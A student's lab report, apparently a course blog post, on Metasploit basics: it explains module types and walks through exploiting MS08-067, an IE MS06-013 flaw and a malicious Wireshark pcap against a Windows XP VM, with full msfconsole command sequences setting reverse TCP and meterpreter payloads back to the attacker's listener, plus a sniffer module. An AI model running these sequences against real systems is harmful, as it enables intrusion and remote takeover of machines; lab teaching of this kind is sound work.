《网络对抗技术》——Exp6 MSF应用基础

一、实践内容

   本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

一个主动攻击实践,尽量使用最新的类似漏洞;
一个针对浏览器的攻击,尽量使用最新的类似漏洞;
一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
成功应用任何一个辅助模块。

二、实践原理

  • MSF攻击方法

    • 主动攻击:扫描主机漏洞
    • 攻击浏览器
    • 供给客户端
  • 六个模块

    • 渗透攻击模块exploit
      利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 辅助模块Auxiliary
      能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
      主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
    • 攻击载荷Payload
      在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
    • 三种payload :Single,Stager,Stages。
    • 空字段模块Nop :
      一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
    • 编码模块Encoders:
      针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 后渗透攻击模块Post :
      支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
  • MSF的三种用户操作界面

    • msfconsole
      • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
      • 查看设置信息show [options]
      • 查看攻击目标类型show [target]
      • 查找命令search
      • 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
    • armitage
      • 启动服务器service postgresql start
      • 启动armitagearmitage
    • webgui

三、实践过程

1、一个主动攻击实践

ms08_067_netapi
ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
靶机:Windows xp
攻击机:Kali
靶机IP地址 192.168.111.133
image

kali:192.168.191.128
image
查看两台主机网络是否互通,互ping,发现网络是互通的。
image
image

攻击机试探靶机是否存在此漏洞 sudo nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.111.133
image
启动 msfconsole,输入search ms08_067查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
输入

search ms08-067     //查看漏洞位置 
use exploit/windows/smb/ms08_067_netapi    //选择该漏洞
set payload generic/shell_reverse_tcp    //设置攻击的载荷
set target 34
set RHOSTS 192.168.111.133     //靶机IP
set LHOSTS 192.168.111.130     //攻击机IP
exploit

image
image
image

  • 攻击成功!

4.2 针对浏览器的攻击

利用ms06_013_createtextrange漏洞攻击Windows XP SP3的IE浏览器

use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞
set payload windows/meterpreter/reverse_tcp  //选择payload
show options //查看所需调的参数
exploit 

image
image
image
image
image
image

  • 攻击成功!

3、一个针对客户端的攻击

利用wireshark_mpeg_overflow攻击Windows XP

msfconsole          //进入控制台
search wireshark        //搜索与wireshark有关的漏洞
use exploit/windows/fileformat/wireshark_packet_dect   //选择使用此漏洞
set payload windows/meterpreter/reverse_tcp            //设置tcp反向连接
show options        //查看需要配置的参数选项
set LHOST 192.168.11.130    //kali的IP
set LPORT 1305             //设置端口号
set FILENAME jth.pcap       //设置生成的pcap文件名
exploit                     //生成.pcap文件

image
image

  • 将生成的pcap文件复制到XP虚拟机中
  • 在Kali中开启监听
sudo msfconsole
use exploit/multi/handler                  //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options                //查看需要配置的参数选项
set LHOST 192.168.42.129    //kali的IP
set LPORT 1313             //设置监听的端口号
exploit                     //开启监听

在靶机中用Wireshark打开文件
image
image
image

  • 攻击成功!

4、成功应用一个辅助模块

search sniff    //查看嗅探的攻击
use auxiliary/sniffer/psnuffle    //进入嗅探器模块
show options    //查看参数
set RHOST 192.168.111.130     //靶机IP
run  

image
image
image

四、实践问题回答

用自己的话解释什么 是exploit,payload,encode。

exploit:是渗透攻击,它通过漏洞去渗透获取权限,和shellcode很像但是它只去获取权限但是不管之后干什么了
payload,攻击载荷(payload),里面包含了攻击者想要执行的代码。
encode用来编码,用于伪装,一般使用编码器对“坏字符”进行变换,去除坏字符的影响。

五、离实践还缺什么技术或步骤

距离我们目前有了信息搜集,伪装,获取权限,和执行命令,定时发送信息,后门,漏洞和病毒等等但是我们缺乏把程序送进目标机器的能力。同时目前实践的主机版本都是很老的版本,目前所学技术对当前版本的主机不太适用,此外我的前面学的知识并没有学的太明白对出现临时问题的应对优点困难。

六、实践心得体会

 本次的主要实验内容是MSF的基础应用,而在这次实验中,出现最大的问题在于Windows xp虚拟机版本太老wirshark不好用,适用版本比较难找。同时通过这次试验我对msf的使用有了更深刻的理解,通过对每一个命令的执行对命令有了更深刻的认识
posted @ 2023-05-04 22:22  池鱼12156  阅读(39)  评论(0编辑  收藏  举报